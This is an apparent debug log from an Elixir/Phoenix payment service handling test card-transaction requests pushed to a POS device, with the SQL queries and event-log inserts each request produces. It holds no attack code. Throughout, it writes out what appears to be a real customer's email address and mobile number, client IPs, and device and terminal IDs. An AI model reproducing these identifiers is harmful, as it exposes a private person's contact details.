SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch475445709675"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:08:32.256000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49898] Sent 200 in 29ms
[Thu Sep  3 10:11:11.082000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] POST /api/device/initiate
[Thu Sep  3 10:11:11.085000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 115.99.190.251:64628] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}
  Pipelines: [:api]
[Thu Sep  3 10:11:11.086000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Processing card transaction for reference: newtestTxn11
[Thu Sep  3 10:11:11.087000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=0.4ms queue=0.8ms idle=1232.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:11:11.088000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=0.6ms idle=1234.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:11:11.089000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  amount: 120,
  account_label: "test",
  app_key: "test123",
  customer_mobile_number: 6201561171,
  external_ref_number: "newtestTxn11",
  external_ref_number_2: "ref2",
  external_ref_number_4: "ref4",
  external_ref_numbers: [],
  push_to: %{"deviceId" => "98251226730001"}
}

[Thu Sep  3 10:11:11.089000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    amount: 120,
    account_label: "test",
    app_key: "test123",
    customer_mobile_number: 6201561171,
    external_ref_number: "newtestTxn11",
    external_ref_number_2: "ref2",
    external_ref_number_4: "ref4",
    external_ref_numbers: [],
    push_to: %{"deviceId" => "98251226730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:11:11.089415Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:11:11.089000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:11:11.089415Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:11:11.122000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=31.7ms queue=0.9ms idle=1236.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, "Initiate Card Txn Request", "newtestTxn11", ~U[2026-09-03 10:11:11Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:11:11], ~N[2026-09-03 10:11:11]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:11:11.123000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40162
[Thu Sep  3 10:11:11.123000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Handling card transaction:
- Reference: newtestTxn11
- Amount: 120
- Params: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}

[Thu Sep  3 10:11:11.124000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=0.4ms idle=1269.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:11:11.125000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=0.5ms queue=0.2ms idle=1270.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:11:11.125000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "newtestTxn11"
Payload: %{
  status: "online",
  username: "sonu73772@gmail.com",
  ts: 1788430271,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:11:11.126000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "sonu73772@gmail.com",
    ts: 1788430271,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:11:11.125926Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:11:11.126000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{status: "online", username: "sonu73772@gmail.com", ts: 1788430271, device_id: "98251226730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:11:11.125926Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:11:11.166000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=39.0ms idle=1272.7ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "sonu73772@gmail.com", ts: 1788430271, device_id: "98251226730001", amount: 120}, "Response From Device Online Status", "newtestTxn11", ~U[2026-09-03 10:11:11Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:11:11], ~N[2026-09-03 10:11:11]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:11:11.166000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40163
[Thu Sep  3 10:11:11.166000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish payload 98251226730001: "{\"type\":\"card\",\"request_id\":\"newtestTxn11\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:11:11.216000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=48.4ms queue=0.5ms idle=545.4ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}, "ch_2aa577f9daa4@mercurypay.in", "98251226730001", "newtestTxn11", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 10:11:11], ~N[2026-09-03 10:11:11]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:11:11.217000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=1.1ms queue=0.1ms idle=362.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:11:11.218000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=0.4ms idle=332.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:11:11.218000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430271,
  qos: 1,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:11:11.218000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430271,
    qos: 1,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:11:11.218851Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:11:11.219000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430271, qos: 1, device_id: "98251226730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:11:11.218851Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:11:11.256000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=36.4ms idle=249.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430271, qos: 1, device_id: "98251226730001", amount: 120}, "Request For Publish Txn", "newtestTxn11", ~U[2026-09-03 10:11:11Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:11:11], ~N[2026-09-03 10:11:11]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:11:11.257000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40164
[Thu Sep  3 10:11:11.257000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730001/update with ref: #Reference<0.2525715032.1093926914.206989>
[Thu Sep  3 10:11:11.257000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic2: ota/pos/12345678/98251226730001/sub with ref: #Reference<0.2525715032.1093926914.206993>
[Thu Sep  3 10:11:11.261000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.7ms queue=0.3ms idle=170.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:11:11.262000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=0.6ms idle=172.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:11:11.263000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  error: nil,
  status: "success",
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430271,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:11:11.264000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430271,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:11:11.263345Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:11:11.264000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430271, device_id: "98251226730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:11:11.263345Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:11:11.300000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=34.2ms idle=142.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430271, device_id: "98251226730001", amount: 120}, "Response From Publish Txn", "newtestTxn11", ~U[2026-09-03 10:11:11Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:11:11], ~N[2026-09-03 10:11:11]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:11:11.300000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40165
[Thu Sep  3 10:11:11.300000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish successful to 98251226730001 with ref: #Reference<0.2525715032.1093926914.206993>
[Thu Sep  3 10:11:11.301000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] Sent 200 in 218ms
[Thu Sep  3 10:12:04.248000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] POST /api/device/initiate
[Thu Sep  3 10:12:04.249000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 115.99.190.251:64628] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}
  Pipelines: [:api]
[Thu Sep  3 10:12:04.249000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Processing card transaction for reference: newtestTxn11
[Thu Sep  3 10:12:04.260000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=0.8ms queue=2.1ms idle=1398.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:12:04.263000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=3.2ms idle=1401.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:12:04.264000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  amount: 120,
  account_label: "test",
  app_key: "test123",
  customer_mobile_number: 6201561171,
  external_ref_number: "newtestTxn11",
  external_ref_number_2: "ref2",
  external_ref_number_4: "ref4",
  external_ref_numbers: [],
  push_to: %{"deviceId" => "98251226730001"}
}

[Thu Sep  3 10:12:04.264000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    amount: 120,
    account_label: "test",
    app_key: "test123",
    customer_mobile_number: 6201561171,
    external_ref_number: "newtestTxn11",
    external_ref_number_2: "ref2",
    external_ref_number_4: "ref4",
    external_ref_numbers: [],
    push_to: %{"deviceId" => "98251226730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:12:04.264241Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:12:04.270000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:12:04.264241Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:12:04.308000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=35.1ms queue=2.2ms idle=1411.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, "Initiate Card Txn Request", "newtestTxn11", ~U[2026-09-03 10:12:04Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:12:04], ~N[2026-09-03 10:12:04]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:12:04.308000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40166
[Thu Sep  3 10:12:04.308000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Handling card transaction:
- Reference: newtestTxn11
- Amount: 120
- Params: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}

[Thu Sep  3 10:12:04.313000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=4.2ms idle=1449.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:12:04.319000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=4.4ms queue=0.1ms idle=457.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:12:04.320000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "newtestTxn11"
Payload: %{
  status: "online",
  username: "sonu73772@gmail.com",
  ts: 1788430324,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:12:04.323000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "sonu73772@gmail.com",
    ts: 1788430324,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:12:04.320424Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
